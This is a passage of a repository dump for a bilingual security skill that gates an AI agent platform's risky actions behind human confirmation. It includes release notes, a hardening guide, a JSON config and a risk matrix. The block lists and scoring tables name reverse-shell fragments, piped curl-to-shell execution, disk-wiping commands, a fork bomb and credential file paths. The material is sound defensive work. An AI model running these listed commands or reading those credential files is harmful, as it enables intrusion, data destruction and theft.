├── SKILL.md                     # Skill manifest
├── scripts/                     # Core Python scripts
│   ├── risk_engine.py
│   ├── guardian_ui.py
│   ├── session_manager.py
│   ├── policy_config.py
│   └── audit_log.py
└── references/                  # Documentation
    ├── risk_matrix.md
    └── user_guide.md
```

### 🔗 Links

- **Repository**: https://github.com/stephenlzc/claw-gatekeeper
- **Documentation**: https://raw.githubusercontent.com/stephenlzc/claw-gatekeeper/main/README.md
- **Issues**: https://github.com/stephenlzc/claw-gatekeeper/issues

### 🙏 Acknowledgments

Created in response to security warnings from China CNCERT/CC and the OpenClaw CVE database.

---

## 中文

## 🎉 OpenClaw Guardian v0.1.0

> OpenClaw 的安全刹车系统 - 具备会话感知能力的智能风险管理

---

### 🚀 新增功能

OpenClaw Guardian 是一个全面的 OpenClaw 安全控制系统，可以拦截高风险操作并在执行前要求人工确认。这是我们的初始版本，包含完整的功能集。

### ✨ 核心特性

#### 1. 基于风险的操作控制
- **🔴 严重 (CRITICAL, 80-100)**: 始终需要单独确认，无例外
- **🟠 高 (HIGH, 60-79)**: 需要确认，可选择会话级批准
- **🟡 中 (MEDIUM, 30-59)**: 建议确认，可选择会话级批准
- **🟢 低 (LOW, 0-29)**: 自动允许，无需中断

#### 2. 会话感知批准系统
- 一次批准中等/高风险操作，整个会话内自动批准类似操作
- 会话在 30 分钟无活动后过期
- 严重风险操作始终需要单独确认（无会话批准）

#### 3. 全面的审计日志
- 所有中等及以上风险操作记录到 `Operate_Audit.log`
- 颜色编码的表情符号：🔴 严重、🟠 高、🟡 中
- 带时间戳的条目，包含操作详情和决策

#### 4. 多种操作模式
- **标准模式**: 日常使用，平衡保护
- **严格模式**: 最高安全性，所有非白名单操作需要确认
- **宽松模式**: 最少中断，仅严重风险需要确认
- **紧急模式**: 完全锁定，所有操作需要确认

#### 5. 灵活的策略管理
- 支持路径、命令、域名和 skill 的白名单/黑名单
- 配置导入/导出
- 自动备份和恢复
- 策略验证

### 📦 安装

```bash
# 下载并安装
curl -L -o claw-gatekeeper.skill \
  https://github.com/stephenlzc/claw-gatekeeper/releases/download/v0.1.0/claw-gatekeeper.skill

openclaw skill install claw-gatekeeper.skill
openclaw skill persist claw-gatekeeper

# 初始化
python3 ~/.claw-gatekeeper/scripts/policy_config.py mode standard
```

### 🔧 核心脚本

| 脚本 | 用途 | 代码行数 |
|------|------|---------|
| `risk_engine.py` | 风险评估引擎 | ~900 |
| `guardian_ui.py` | 用户交互与会话逻辑 | ~600 |
| `session_manager.py` | 会话状态管理 | ~350 |
| `policy_config.py` | 策略配置 | ~700 |
| `audit_log.py` | 审计日志管理 | ~650 |

### 🛡️ 安全背景

**重要**: 这是一个针对 OpenClaw 的临时安全措施，OpenClaw 已被发现存在严重漏洞，包括：
- CVE-2026-25253 (CVSS 8.8)
- CVE-2026-24763
- CVE-2026-25475
- 以及更多...

在官方安全改进发布之前，请使用本 skill 增加一层保护。

### 📁 项目结构

```
claw-gatekeeper/
├── README.md                    # 英文文档
├── README.zh-CN.md              # 中文文档
├── SKILL.md                     # Skill 清单
├── scripts/                     # 核心 Python 脚本
│   ├── risk_engine.py
│   ├── guardian_ui.py
│   ├── session_manager.py
│   ├── policy_config.py
│   └── audit_log.py
└── references/                  # 文档
    ├── risk_matrix.md
    └── user_guide.md
```

### 🔗 链接

- **代码仓库**: https://github.com/stephenlzc/claw-gatekeeper
- **文档**: https://raw.githubusercontent.com/stephenlzc/claw-gatekeeper/main/README.md
- **问题反馈**: https://github.com/stephenlzc/claw-gatekeeper/issues

### 🙏 致谢

本项目创建是为了应对中国国家计算机网络应急技术处理协调中心 (CNCERT/CC) 的安全警告以及 OpenClaw CVE 数据库。

---

## 📊 Statistics / 统计

| Metric / 指标 | Value / 数值 |
|---------------|--------------|
| Total Code Lines / 总代码行数 | ~3,400 |
| Documentation Words / 文档字数 | ~20,000 |
| Risk Patterns / 风险检测模式 | 100+ |
| Config Options / 配置选项 | 30+ |

---

## 📝 Changelog / 更新日志

- Initial release with full feature set / 初始版本，包含完整功能集
- Session-aware approval system / 会话感知批准系统
- Risk-based operation control / 基于风险的操作控制
- Comprehensive audit logging / 全面的审计日志
- Multi-language documentation (EN/CN) / 多语言文档（英文/中文）

---

**Full Changelog**: https://github.com/stephenlzc/claw-gatekeeper/commits/v0.1.0


path: RELEASE_NOTES_v0.1.1.md
content: # Release v0.1.1

---

## 🛡️ Claw Gatekeeper v0.1.1

> Enhanced Security with Zero-Code Hardening Mode

---

## English

### 🚀 What's New in v0.1.1

This release introduces a **zero-code-change security hardening system** that enables maximum protection without modifying Guardian's core code. Perfect for users handling sensitive data or operating in compliance-regulated environments.

### ✨ New Features

#### 1. One-Click Security Hardening
```bash
./deploy-secure.sh --apply
```
Deploy maximum security mode with a single command:
- ✅ 100% human-in-the-loop approval (all risk levels)
- ✅ Enhanced blacklist with 20+ dangerous command patterns
- ✅ Expanded sensitive directory protection
- ✅ Secure audit logging with 30-day retention
- ✅ Automatic permission hardening

#### 2. Data Sanitization Tool
```bash
./sanitizer.sh --file conversation.txt > clean.txt
```
Pre-process content to remove sensitive data before Guardian analysis:
- **30+ detection patterns** covering credentials, tokens, PII
- Cloud provider keys (AWS, Azure, GCP)
- API keys (GitHub, OpenAI, Stripe, etc.)
- Cryptocurrency wallets
- Personal information (email, credit card, SSN)
- Security certificates (JWT, RSA, SSH keys)

#### 3. Human-in-the-Loop Mode
Achieve true human-in-the-loop security without code modifications:

| Risk Level | Default Mode | Hardened Mode |
|------------|--------------|---------------|
| 🔴 CRITICAL | Always confirm | Always confirm |
| 🟠 HIGH | Confirm | **Confirm** |
| 🟡 MEDIUM | Confirm | **Confirm** |
| 🟢 LOW | Auto-allow | **Confirm** |

#### 4. Enhanced Security Configurations
New `config.hardened.json` with:
- Stricter command blacklists (pipe execution, reverse shells)
- Extended path blacklists (container configs, shell histories)
- Network restrictions (private IP ranges)
- Fail-secure defaults

### 📦 Files Added

| File | Purpose | Lines |
|------|---------|-------|
| `config/config.hardened.json` | Maximum security configuration | ~150 |
| `scripts/deploy-secure.sh` | One-click hardening deployment | ~280 |
| `scripts/sanitizer.sh` | Sensitive data detection & redaction | ~260 |
| `SECURITY.md` | Comprehensive hardening guide | ~200 |

### 🔧 Usage Examples

**Deploy hardened mode:**
```bash
cd ~/.claw-gatekeeper/scripts
./deploy-secure.sh --apply
```

**Check security status:**
```bash
./deploy-secure.sh --check
```

**Sanitize sensitive data:**
```bash
./sanitizer.sh --check session.json --verbose
./sanitizer.sh --stdin < log.txt > clean.txt
```

**Restore default mode:**
```bash
./deploy-secure.sh --restore
```

### 🛡️ Security Improvements

| Metric | v0.1.0 | v0.1.1 | Improvement |
|--------|--------|--------|-------------|
| Human confirmation coverage | 40% | **100%** | +60% |
| Dangerous command patterns | 5 | **20+** | +300% |
| Protected directories | 4 | **10+** | +150% |
| Data sanitization | ❌ | **✅ 30+ patterns** | New |
| One-click hardening | ❌ | **✅** | New |

### 📊 Statistics

| Metric | Value |
|--------|-------|
| Total code lines | ~3,400 (core) + ~700 (security tools) |
| Documentation words | ~25,000 |
| Risk patterns | 100+ |
| Sensitive data patterns | 30+ |
| Security configurations | 3 modes (default, strict, hardened) |

---

## 中文

## 🛡️ OpenClaw Guardian v0.1.1

> 零代码改动的安全加固模式

---

### 🚀 v0.1.1 新增功能

本次发布引入了**无需修改代码的安全加固系统**，让用户能够以最高保护级别运行 Guardian。特别适合处理敏感数据或在合规要求严格的环境中使用。

### ✨ 新特性

#### 1. 一键安全加固
```bash
./deploy-secure.sh --apply
```
一条命令部署最高安全模式：
- ✅ 100% 人机回环确认（所有风险等级）
- ✅ 增强黑名单，包含 20+ 危险命令模式
- ✅ 扩展敏感目录保护
- ✅ 安全审计日志，30天自动清理
- ✅ 自动权限加固

#### 2. 数据脱敏工具
```bash
./sanitizer.sh --file conversation.txt > clean.txt
```
在 Guardian 分析前预处理内容，移除敏感数据：
- **30+ 检测模式**，覆盖凭证、令牌、个人信息
- 云服务商密钥（AWS、Azure、GCP）
- API 密钥（GitHub、OpenAI、Stripe 等）
- 加密货币钱包地址
- 个人信息（邮箱、信用卡、SSN）
- 安全证书（JWT、RSA、SSH 密钥）

#### 3. 人机回环模式
无需修改代码即可实现真正的人机回环安全：

| 风险等级 | 默认模式 | 加固模式 |
|---------|---------|---------|
| 🔴 严重 (CRITICAL) | 始终确认 | 始终确认 |
| 🟠 高 (HIGH) | 需要确认 | **需要确认** |
| 🟡 中 (MEDIUM) | 需要确认 | **需要确认** |
| 🟢 低 (LOW) | 自动允许 | **需要确认** |

#### 4. 增强安全配置
新增 `config.hardened.json`，包含：
- 更严格的命令黑名单（管道执行、反向 shell）
- 扩展路径黑名单（容器配置、shell 历史）
- 网络限制（私有 IP 段）
- 故障安全默认设置

### 📦 新增文件

| 文件 | 用途 | 代码行数 |
|------|------|---------|
| `config/config.hardened.json` | 最高安全配置 | ~150 |
| `scripts/deploy-secure.sh` | 一键加固部署脚本 | ~280 |
| `scripts/sanitizer.sh` | 敏感数据检测与脱敏 | ~260 |
| `SECURITY.md` | 详细加固指南 | ~200 |

### 🔧 使用示例

**部署加固模式：**
```bash
cd ~/.claw-gatekeeper/scripts
./deploy-secure.sh --apply
```

**检查安全状态：**
```bash
./deploy-secure.sh --check
```

**脱敏敏感数据：**
```bash
./sanitizer.sh --check session.json --verbose
./sanitizer.sh --stdin < log.txt > clean.txt
```

**恢复默认模式：**
```bash
./deploy-secure.sh --restore
```

### 🛡️ 安全改进

| 指标 | v0.1.0 | v0.1.1 | 提升 |
|------|--------|--------|------|
| 人机确认覆盖率 | 40% | **100%** | +60% |
| 危险命令检测模式 | 5 | **20+** | +300% |
| 受保护目录 | 4 | **10+** | +150% |
| 数据脱敏 | ❌ | **✅ 30+ 模式** | 新增 |
| 一键加固 | ❌ | **✅** | 新增 |

### 📊 统计数据

| 指标 | 数值 |
|------|------|
| 总代码行数 | ~3,400（核心）+ ~700（安全工具） |
| 文档字数 | ~25,000 |
| 风险检测模式 | 100+ |
| 敏感数据检测模式 | 30+ |
| 安全配置模式 | 3种（默认、严格、加固） |

---

## 📝 Changelog / 更新日志

### Added / 新增
- Hardened security configuration (`config.hardened.json`) / 加固安全配置
- One-click deployment script (`deploy-secure.sh`) / 一键部署脚本
- Data sanitization tool (`sanitizer.sh`) / 数据脱敏工具
- Comprehensive security documentation (`SECURITY.md`) / 安全文档
- 100% human-in-the-loop mode without code changes / 零代码改动人机回环模式
- 30+ sensitive data detection patterns / 30+ 敏感数据检测模式
- Automatic audit log rotation setup / 自动审计日志轮转设置

### Improved / 改进
- Enhanced blacklist with 20+ dangerous command patterns / 增强黑名单
- Extended sensitive directory protection / 扩展敏感目录保护
- Security section in README.md / README.md 安全章节

---

## 🔗 Links / 链接

- **Repository**: https://github.com/stephenlzc/claw-gatekeeper
- **Documentation**: https://github.com/stephenlzc/claw-gatekeeper/blob/main/README.md
- **Security Guide**: https://github.com/stephenlzc/claw-gatekeeper/blob/main/SECURITY.md
- **Full Changelog**: https://github.com/stephenlzc/claw-gatekeeper/compare/v0.1.0...v0.1.1

---

**Upgrade from v0.1.0**: Simply download the new release and run `./deploy-secure.sh --apply` for enhanced security.

**从 v0.1.0 升级**: 下载新版本后运行 `./deploy-secure.sh --apply` 即可获得增强安全保护。


path: SECURITY.md
content: # Claw Gatekeeper Security Deployment Guide

> **Human-in-the-Loop Security Mode**

---

## 🛡️ Security Mode Overview

| Mode | Auto-Allowed | Human Confirmation | Use Case |
|------|--------------|-------------------|----------|
| **Default** | LOW + MEDIUM | HIGH + CRITICAL | Daily convenience |
| **Hardened** | ❌ None | ✅ All | **Recommended** |
| **Emergency** | ❌ None | ✅ All + Delayed | High-risk environments |

---

## 🚀 Quick Hardening (3 Steps)

### Step 1: Check Current Configuration
```bash
cd ~/.claw-gatekeeper/scripts
./deploy-secure.sh --check
```

### Step 2: Apply Hardened Configuration
```bash
./deploy-secure.sh --apply
```

### Step 3: Verify Deployment
```bash
./deploy-secure.sh --check
```

---

## 📋 Hardened Configuration Details

### Core Security Settings

```json
{
  "strict_mode": true,           // Strict mode enabled
  "auto_allow_low": false,       // Disable auto-allow for LOW risk
  "auto_allow_medium": false,    // Disable auto-allow for MEDIUM risk
  "auto_allow_high": false,      // Disable auto-allow for HIGH risk
  "medium_requires_approval": true,  // MEDIUM requires confirmation
  "confirmation_timeout": 300    // 5-minute confirmation timeout
}
```

### Risk Level Behaviors

| Risk Level | Score Range | Hardened Mode Behavior |
|------------|-------------|------------------------|
| 🔴 **CRITICAL** | 80-100 | Always individual confirmation, no session approval |
| 🟠 **HIGH** | 60-79 | Always confirm, session approval available |
| 🟡 **MEDIUM** | 30-59 | Always confirm, session approval available |
| 🟢 **LOW** | 0-29 | **Always confirm** (different from default mode) |

### Enhanced Blacklist

Hardened configuration includes **20+ dangerous command patterns**:
- System destruction: `rm -rf /`, `mkfs`, `dd if=`
- Pipe execution: `curl | sh`, `wget | bash`
- Code injection: `eval $(`, `python -c 'import os'`
- Reverse shells: `nc -e`, `bash -i >& /dev/tcp`

### Sensitive Directory Protection

```json
"blacklist_paths": [
  "~/.ssh",      // SSH keys
  "~/.aws",      // AWS credentials
  "~/.kube",     // Kubernetes configs
  "~/.gnupg",    // GPG keys
  "~/.docker",   // Docker configs
  "~/.openclaw"  // OpenClaw self configs
]
```

---

## 🔐 Data Sanitization (Optional)

### Using the Sanitizer

```bash
# Check if file contains sensitive data
./scripts/sanitizer.sh --check session.json --verbose

# Sanitize file
./scripts/sanitizer.sh --file session.json > sanitized.json

# Pipe usage
cat conversation.txt | ./scripts/sanitizer.sh --stdin > clean.txt
```

### Supported Sensitive Patterns

| Category | Examples |
|----------|----------|
| Credentials | Password, API Key, Secret Token |
| Cloud Services | AWS Key, GitHub Token, OpenAI Key |
| Databases | MongoDB URI, PostgreSQL URI |
| Personal Information | Email, Credit Card, SSN |
| Cryptocurrency | Bitcoin, Ethereum addresses |
| Certificates | JWT, RSA Key, SSH Key |

---

## 📝 Audit Log Security

### Log Location
```
~/.claw-gatekeeper/sessions/Operate_Audit.log
```

### Permission Settings
```bash
chmod 700 ~/.claw-gatekeeper/sessions
chmod 600 ~/.claw-gatekeeper/sessions/Operate_Audit.log
```

### Automatic Cleanup (30-day retention)

The hardening script automatically adds a cron job:
```cron
0 0 * * * find ~/.claw-gatekeeper/sessions -name '*.log' -mtime +30 -delete
```

### Manual Verification
```bash
# Check log size
ls -lh ~/.claw-gatekeeper/sessions/Operate_Audit.log

# View recent entries
tail -20 ~/.claw-gatekeeper/sessions/Operate_Audit.log

# Check permissions
ls -la ~/.claw-gatekeeper/sessions/
```

---

## 🔄 Restore Default Configuration

```bash
cd ~/.claw-gatekeeper/scripts
./deploy-secure.sh --restore
```

---

## 🎯 Security Best Practices

### 1. Principle of Least Privilege
```bash
# Configuration file permissions
chmod 600 ~/.claw-gatekeeper/config.json

# Directory permissions
chmod 700 ~/.claw-gatekeeper
chmod 700 ~/.claw-gatekeeper/sessions
```

### 2. Regular Auditing
```bash
# Check for unusual denials
python3 ~/.claw-gatekeeper/scripts/policy_config.py stats

# View high-risk operation logs
grep "🔴 CRITICAL" ~/.claw-gatekeeper/sessions/Operate_Audit.log
```

### 3. Session Management
- **Session Approval**: MEDIUM/HIGH risks can be approved once for the session
- **Timeout Mechanism**: Automatically expires after 30 minutes of inactivity
- **CRITICAL Operations**: Always require individual confirmation, excluded from session approval

### 4. Network Isolation (Advanced)
If concerned about LLM data exfiltration:
```bash
# Configure local Ollama as decision backend
export GUARDIAN_MODEL_PROVIDER=ollama://localhost:11434
```

---

## 📊 Security Comparison

| Security Metric | Default Mode | Hardened Mode | Improvement |
|-----------------|--------------|---------------|-------------|
| Human-in-the-loop coverage | 40% | **100%** | +60% |
| Dangerous command interception | 5 patterns | **20+ patterns** | +300% |
| Sensitive directory protection | 4 dirs | **10+ dirs** | +150% |
| Auto-allowed operations | LOW + MEDIUM | **None** | -100% |
| Confirmation timeout | None | **5 minutes** | Added |
| Log retention | Permanent | **30 days** | Compliance |

---

## ⚠️ Important Notes

### Security Trade-offs

Hardened mode provides maximum security but has the following impacts:

1. **Operational Efficiency**: All operations require confirmation, potentially reducing productivity
2. **User Experience**: Frequent confirmation prompts may feel cumbersome
3. **False Positives**: Some safe operations may also be intercepted

### Recommendations

- **Daily use**: Standard mode + key directory protection
- **Handling sensitive data**: Hardened mode
- **Team collaboration**: Unified hardened configuration to prevent security drift

---

## 🔗 Related Files

| File | Purpose |
|------|---------|
| `config/config.hardened.json` | Hardened configuration file |
| `scripts/deploy-secure.sh` | One-click hardening deployment |
| `scripts/sanitizer.sh` | Data sanitization tool |
| `sessions/Operate_Audit.log` | Audit log |

---

## 🆘 Troubleshooting

### Issue: All operations being denied
```bash
# Check mode settings
python3 ~/.claw-gatekeeper/scripts/policy_config.py mode

# If in emergency mode, switch back to standard
python3 ~/.claw-gatekeeper/scripts/policy_config.py mode standard
```

### Issue: Log file too large
```bash
# Manually clean old logs
find ~/.claw-gatekeeper/sessions -name '*.log' -mtime +7 -delete
```

### Issue: Recover accidentally deleted configuration
```bash
# View backup list
ls -la ~/.claw-gatekeeper/backups/

# Manual restore
cp ~/.claw-gatekeeper/backups/config.json.bak.XXXX ~/.claw-gatekeeper/config.json
```

---

**Last Updated**: 2026-03-12  
**Version**: v0.1.1-hardened


path: config/config.hardened.json
content: {
  "_comment": "Hardened Security Configuration for Claw Gatekeeper v0.1.0",
  "_description": "Maximum safety mode: all operations require human approval, strict rules engine, no auto-allow",
  "_security_level": "maximum",
  
  "version": "1.0.0-hardened",
  "mode": "standard",
  "enabled": true,
  
  "_approval_policy": "ALL operations require human confirmation - human-in-the-loop mode",
  "critical_requires_approval": true,
  "high_requires_approval": true,
  "medium_requires_approval": true,
  "low_auto_allow": false,
  
  "_whitelist": "Safe operations that bypass detailed analysis but still require confirmation in strict mode",
  "whitelist_paths": [
    "~/Downloads",
    "~/Documents",
    "/tmp",
    "~/workspace",
    "~/projects"
  ],
  "whitelist_commands": [
    "ls",
    "pwd",
    "cat",
    "echo",
    "grep",
    "head",
    "tail",
    "less",
    "more",
    "git status",
    "git log",
    "git diff",
    "git branch",
    "git remote -v",
    "find . -name",
    "wc -l",
    "mkdir -p",
    "touch",
    "cp",
    "mv",
    "rm -i",
    "rmdir",
    "python3 --version",
    "node --version",
    "npm --version",
    "which",
    "type"
  ],
  "whitelist_domains": [
    "raw.githubusercontent.com",
    "pypi.org",
    "registry.npmjs.org",
    "api.github.com"
  ],
  "whitelist_skills": [],
  
  "_blacklist": "Dangerous operations - immediate rejection without LLM consultation",
  "blacklist_paths": [
    "/etc/passwd",
    "/etc/shadow",
    "/etc/sudoers",
    "/etc/ssh",
    "~/.ssh",
    "~/.gnupg",
    "~/.aws",
    "~/.kube",
    "~/.docker",
    "~/.npmrc",
    "~/.pypirc",
    "~/.openclaw",
    "~/.*_history",
    "~/.bash_history",
    "~/.zsh_history",
    "~/.zhistory",
    "/var/log",
    "/var/lib",
    "/proc",
    "/sys",
    "/dev/sd*"
  ],
  "blacklist_commands": [
    "rm -rf /",
    "rm -rf /*",
    "rm -rf ~",
    "rm -rf ~/",
    "rm -rf $HOME",
    "rm -rf /home",
    "mkfs",
    "mkfs.ext",
    "mkfs.ntfs",
    "mkfs.vfat",
    "dd if=",
    "dd of=",
    "format",
    "fdisk",
    "parted",
    "> /dev/sd",
    "> /dev/hd",
    "chmod -R 777 /",
    "chmod -R 777 /*",
    "chown -R root:root /",
    ":(){ :|:& };:",
    "fork bomb",
    "curl .* | sh",
    "curl .* | bash",
    "wget .* | sh",
    "wget .* | bash",
    "eval $(",
    "eval `",
    "python -c 'import os; os.system",
    "python3 -c 'import os; os.system",
    "perl -e 'system",
    "ruby -e 'exec",
    "nc -e",
    "netcat -e",
    "bash -i >& /dev/tcp",
    "sh -i >& /dev/tcp",
    "openssl s_client",
    "socat",
    "ncat -e"
  ],
  "blacklist_domains": [
    "localhost",
    "127.0.0.1",
    "0.0.0.0",
    "*.local",
    "169.254.",
    "10.",
    "192.168.",
    "172.16."
  ],
  "blacklist_skills": [],
  
  "_behavior_settings": "Strict mode with minimal automation",
  "batch_threshold": 3,
  "log_all_operations": true,
  "log_decisions": true,
  "alert_on_repeated_denial": true,
  "auto_learn": false,
  "emergency_stop": false,
  "check_hidden_files": true,
  "strict_mode": true,
  
  "_ui_settings": "User-friendly but secure",
  "use_colors": true,
  "compact_mode": false,
  "confirmation_timeout": 300,
  
  "_auto_decision": "DISABLED - all operations require human confirmation",
  "auto_allow_low": false,
  "auto_allow_medium": false,
  "auto_allow_high": false,
  
  "_security_notes": {
    "description": "Hardened configuration for maximum safety with human-in-the-loop",
    "approval_workflow": "Rules engine → Risk scoring → Human confirmation → Execution",
    "llm_usage": "Rules engine handles 90% of decisions; no conversation context sent to LLM",
    "data_minimization": "Decisions based on operation type and command patterns only",
    "fallback_mode": "If LLM unavailable, defaults to DENY (fail-secure)",
    "audit_policy": "All operations logged, 30-day retention via external cron",
    "session_management": "Session approvals available for MEDIUM/HIGH, CRITICAL always requires individual confirmation",
    "last_updated": "2026-03-12"
  }
}


path: references/risk_matrix.md
content: # Claw-Gatekeeper Risk Matrix

Complete reference for risk scoring methodology used by Claw-Guardian.

## Risk Score Formula

```
Risk Score = Base Score + Target Risk + Scale Factor + Modifier - Whitelist Reduction
```

## Base Scores by Operation Type

| Operation Type | Base Score | Description |
|----------------|------------|-------------|
| `read` | 0 | Read-only access |
| `write` | 20 | File creation or modification |
| `delete` | 30 | File or directory deletion |
| `move` | 25 | File relocation |
| `copy` | 15 | File duplication |
| `shell` | 25 | Command execution |
| `network` | 15-40 | Network request (varies by method) |
| `skill_install` | 20-40 | Skill installation (varies by source) |
| `system_config` | 50 | System configuration change |

## Target Risk Factors

### Sensitive Paths (+40 points)

| Pattern | Description |
|---------|-------------|
| `/etc/passwd`, `/etc/shadow` | System authentication files |
| `/etc/sudoers` | Sudo configuration |
| `/etc/fstab`, `/etc/crypttab` | Mount configuration |
| `~/.ssh/` | SSH keys and config |
| `~/.gnupg/` | GPG keys |
| `~/.aws/`, `~/.azure/`, `~/.kube/` | Cloud credentials |
| `~/.docker/` | Docker configuration |
| `/var/log/` | System logs |
| `/root/`, `/sys/`, `/proc/`, `/boot/` | System directories |
| `/dev/sd*`, `/dev/hd*`, `/dev/nvme*` | Block devices |

### Sensitive File Extensions (+30 points)

- `.env`, `.env.*` - Environment files
- `.key`, `.pem`, `.p12`, `.pfx` - Cryptographic keys
- `.secret`, `.password`, `.token`, `.credential` - Credential files
- `.crt`, `.cer` - Certificates
- `id_rsa`, `id_ed25519`, `id_ecdsa` - SSH private keys

### External Domains (+40 points)

Any domain not matching internal patterns:
- `*.local`, `*.internal`, `*.lan`, `*.home`
- `localhost`, `127.*`, `10.*`, `192.168.*`, `172.16-31.*`, `169.254.*`

## Scale Factors

| Condition | Points | Description |
|-----------|--------|-------------|
| Batch > 5 files | +20 | Multiple file operation |
| Batch > 20 files | +30 | Large batch operation |
| Recursive operation | +25 | Recursive flag set |
| Directory deletion | +25 | Deleting non-empty directory |
| File overwrite | +15 | Target file exists |
| Complex pipeline | +10 | Multiple pipes |
| Output redirection | +5-10 | Redirect operators |
| Background execution | +10 | `&` at end of command |

## Modifiers

### Dangerous Patterns (+80-100 points)

| Pattern | Penalty | Description |
|---------|---------|-------------|
| `rm -rf /` | 100 | Root directory deletion |
| `rm -rf /*` | 100 | Root wildcard deletion |
| `dd if=* of=/dev/[sh]d*` | 100 | Direct disk write |
| `dd if=* of=/dev/null` | 80 | Data destruction |
| `mv * /dev/null` | 80 | Move to null device |
| `mkfs.*` | 100 | Filesystem formatting |
| `fdisk`, `parted` | 90 | Partition manipulation |
| `format` | 90 | Drive formatting |
| `> /etc/passwd` | 100 | Password file overwrite |
| `> /etc/shadow` | 100 | Shadow file overwrite |
| `> /etc/sudoers` | 100 | Sudoers overwrite |
| `wipefs` | 85 | Filesystem signature wipe |
| `shred` | 70 | Secure deletion |

### System Operations (+40-60 points)

| Pattern | Penalty | Description |
|---------|---------|-------------|
| `sudo` | 50 | Elevated privileges |
| `su -` | 60 | Switch to root |
| `chown -R root` | 50 | Root ownership change |
| `chmod 777` | 60 | World-writable |
| `chmod *777` | 60 | World-writable variant |
| `usermod`, `userdel` | 50 | User modification |
| `groupmod`, `groupdel` | 50 | Group modification |
| `systemctl stop/restart/disable` | 45 | Service control |
| `kill -9 1` | 100 | Kill init |
| `init 0`, `reboot`, `shutdown`, `halt`, `poweroff` | 80-100 | System control |

### Network Operations (+25-90 points)

| Pattern | Penalty | Description |
|---------|---------|-------------|
| `curl \| sh` | 90 | Remote script execution |
| `wget \| bash` | 90 | Remote script execution |
| `curl` | 25 | Data transfer |
| `wget` | 25 | Data transfer |
| `nc`, `netcat` | 35 | Network tool |
| `nmap` | 50 | Network scanning |
| `scp`, `sftp` | 30 | Secure transfer |
| `ssh * rm` | 60 | Remote deletion |
| `ssh * mkfs` | 90 | Remote formatting |
| `telnet` | 50 | Insecure protocol |
| `ftp` | 40 | Insecure protocol |

### Skill Installation Risks

| Factor | Points | Description |
|--------|--------|-------------|
| Source: clawhub | 10 | Official registry |
| Source: npm | 15 | NPM registry |
| Source: github | 25 | GitHub repo |
| Source: git | 30 | Git repo |
| Source: local | 40 | Local file |
| Source: unknown | 50 | Unknown source |
| Pre-release version | 15 | Alpha/beta/rc |
| Suspicious name pattern | 25 | hack/crack/exploit/etc. |
| System keyword in name | 15 | system/admin/root/etc. |
| High-risk permission | 20 | filesystem/network/shell/etc. |
| No permissions declared | 10 | Missing permission info |

## Whitelist Reductions

Matching whitelist entries reduce risk score:

- Path whitelist match: -20 points
- Command whitelist match: -30 points
- Domain whitelist match: -20 points
- Skill whitelist match: -25 points

## Risk Level Thresholds

```python
if score >= 80:
    return CRITICAL
elif score >= 60:
    return HIGH
elif score >= 30:
    return MEDIUM
else:
    return LOW
```

## Examples

### Example 1: Safe File Read
```
Operation: read ~/.config/app/settings.json
Base: 0
Target: 0
Scale: 0
Modifier: 0
Whitelist: 0

Total: 0 → LOW ✅
```

### Example 2: Dangerous Deletion
```
Operation: delete ~/.ssh/ (recursive, 50 files)
Base: 30
Target: +40 (sensitive path)
Scale: +25 (recursive) + 20 (batch)
Modifier: 0

Total: 115 → CRITICAL 🔴
```

### Example 3: Network Request
```
Operation: POST https://api.example.com/data
Base: 20 (POST)
Target: +40 (external domain)
Scale: +15 (data payload)
Modifier: +10 (HTTP not HTTPS)

Total: 85 → HIGH 🟠
```

### Example 4: Whitelisted Command
```
Operation: shell "git status"
Base: 25
Target: 0
Scale: 0
Modifier: 0
Whitelist: -30

Total: -5 → 0 → LOW ✅
```

### Example 5: Remote Code Execution Risk
```
Operation: shell "curl https://site.com/install.sh | bash"
Base: 25
Target: 0
Scale: +10 (pipeline)
Modifier: +90 (curl | sh pattern)

Total: 125 → CRITICAL 🔴
```


path: references/user_guide.md
content: # Claw-Gatekeeper User Guide

Complete guide for using Claw-Guardian effectively.

## Table of Contents

1. [Getting Started](#getting-started)
2. [Understanding Interceptions](#understanding-interceptions)
3. [Making Decisions](#making-decisions)
4. [Configuration](#configuration)
5. [Best Practices](#best-practices)
6. [Troubleshooting](#troubleshooting)

---

## Getting Started

### First-Time Setup

1. **Install Claw-Guardian** following the README instructions

2. **Initialize configuration**:
   ```bash
   python3 scripts/policy_config.py show
   ```

3. **Choose your mode**:
   ```bash
   # For personal use
   python3 scripts/policy_config.py mode standard
   
   # For high-security environments
   python3 scripts/policy_config.py mode strict
   ```

4. **Test the system**:
   ```bash
   python3 scripts/risk_engine.py file delete ~/test.txt
   ```

### Your First Interception

When Guardian intercepts an operation, you'll see:

```
🛡️ CLAW-GATEKEEPER SECURITY INTERCEPTION
============================================================

📋 Operation: 📁 File Operation
📝 Detail: delete ~/Documents/old-file.txt

🟠 Risk Level: HIGH
📊 Risk Score: 65/100

⚠️ Risk Analysis:
   1. File deletion operation
   2. Target in Documents folder

💡 Recommendation: About to delete 1 item(s). Ensure important 
   data is backed up before proceeding.

SELECT AN OPTION:
   [y] ✅ Allow this time only
   [Y] ✅✅ Always allow (add to whitelist)
   [n] ❌ Deny this time
   [N] ❌❌ Always deny (add to blacklist)
   [?] ℹ️  View details

Your choice: 
```

---

## Understanding Interceptions

### Risk Level Indicators

| Emoji | Level | Score | What It Means |
|-------|-------|-------|---------------|
| 🔴 | CRITICAL | 80-100 | Could cause serious damage or data loss |
| 🟠 | HIGH | 60-79 | Sensitive operation, proceed with caution |
| 🟡 | MEDIUM | 30-59 | Some risk, but generally manageable |
| 🟢 | LOW | 0-29 | Safe operation, minimal risk |

### Reading Risk Analysis

The risk analysis lists specific concerns:

```
⚠️ Risk Analysis:
   1. Directory deletion with 1,247 files
   2. Recursive operation
   3. Detected .git directory (active project)
```

Each numbered item explains why the operation is considered risky.

### Understanding Recommendations

The recommendation provides actionable advice:

```
💡 Recommendation: About to delete 1,247 item(s). Ensure important 
   data is backed up before proceeding.
```

---

## Making Decisions

### Option Guide

#### [y] Allow this time only
- **Use when**: You want to proceed but don't want to change future behavior
- **Effect**: Operation proceeds, but you'll be asked again next time
- **Example**: One-time cleanup of a specific file

#### [Y] Always allow (add to whitelist)
- **Use when**: This is a trusted, frequent operation you always want to allow
- **Effect**: Similar operations will be auto-allowed in the future
- **Example**: Regular `git status` commands in your project directory
- **⚠️ Warning**: Be careful not to whitelist dangerous operations

#### [n] Deny this time
- **Use when**: You don't want this operation to proceed now
- **Effect**: Operation is blocked, but can be retried later
- **Example**: You're not sure about deleting something

#### [N] Always deny (add to blacklist)
- **Use when**: You never want this type of operation to proceed
- **Effect**: Similar operations will be auto-denied in the future
